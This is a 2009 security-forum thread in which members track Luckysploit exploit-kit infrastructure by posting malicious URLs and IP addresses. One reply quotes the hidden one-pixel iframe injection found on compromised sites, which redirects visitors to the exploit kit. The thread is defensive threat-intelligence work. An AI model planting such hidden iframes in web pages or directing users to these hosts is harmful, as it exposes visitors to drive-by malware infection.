Author Topic: another Luckysploit IP  (Read 45510 times)

0 Members and 1 Guest are viewing this topic.

March 07, 2009, 01:39:16 am
Reply #15

DiFor

  • Jr. Member

  • Offline
  • **

  • 19

March 07, 2009, 07:55:14 pm
Reply #16

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
bigmyfuck.com/prn/index.php?t=4
Code: [Select]
hello-to-you.net/love/?t=2
Ruining the bad guy's day

March 08, 2009, 07:17:25 pm
Reply #17

GmG

  • Special Members
  • Full Member

  • Offline
  • *

  • 92
Code: [Select]
http://193.138.172.15/salo/?t=3
http://193.138.172.15/mark/

March 10, 2009, 12:37:48 pm
Reply #18

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
clickcouner.cn
v-security.info/alla
Ruining the bad guy's day

March 12, 2009, 11:17:51 am
Reply #19

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
stats-analytics.cn/lera/
Ruining the bad guy's day

March 12, 2009, 07:06:56 pm
Reply #20

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
splo2day.com/lera/?t=6
Ruining the bad guy's day

March 13, 2009, 11:29:31 pm
Reply #21

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
84.244.138.55/ase/?t=4
Ruining the bad guy's day

March 15, 2009, 07:00:16 pm
Reply #22

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
bestlotron.cn/in.cgi?cocacola
kotleto.com/main/?t=1
Ruining the bad guy's day

March 16, 2009, 03:02:47 pm
Reply #23

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
78.41.207.196/vertu/?t=5
Ruining the bad guy's day

March 17, 2009, 04:37:35 pm
Reply #24

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
78.41.207.196/vertu/?t=5

Today I found the way of infection.

Compromised sites like
Code: [Select]
www.my-harmony.org
contain IFrames
Code: [Select]
body><iframe src="hxxp://perfectnamestore.cn/in.cgi?income4" width=1 height=1 style="visibility: hidden"></iframe><iframe src="hxxp://namebuyline.cn/in.cgi?income2" width=1 height=1 style="visibility: hidden"></iframe>
<

to
Code: [Select]
hxxp://perfectnamestore.cn/in.cgi?income4
hxxp://namebuyline.cn/in.cgi?income2

which redirect to the Luckysploit url.
Ruining the bad guy's day

March 18, 2009, 03:57:34 pm
Reply #25

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
r-security.info/alla
Ruining the bad guy's day

March 18, 2009, 05:00:21 pm
Reply #26

GmG

  • Special Members
  • Full Member

  • Offline
  • *

  • 92
Code: [Select]
r-security.info/alla

and

Code: [Select]
http://l-security.info/alla
http://p-security.info/alla

 ;)

March 18, 2009, 07:21:55 pm
Reply #27

GmG

  • Special Members
  • Full Member

  • Offline
  • *

  • 92

March 24, 2009, 07:23:49 am
Reply #28

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Code: [Select]
58.65.237.2/?t=1
Ruining the bad guy's day

March 24, 2009, 06:03:14 pm
Reply #29

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day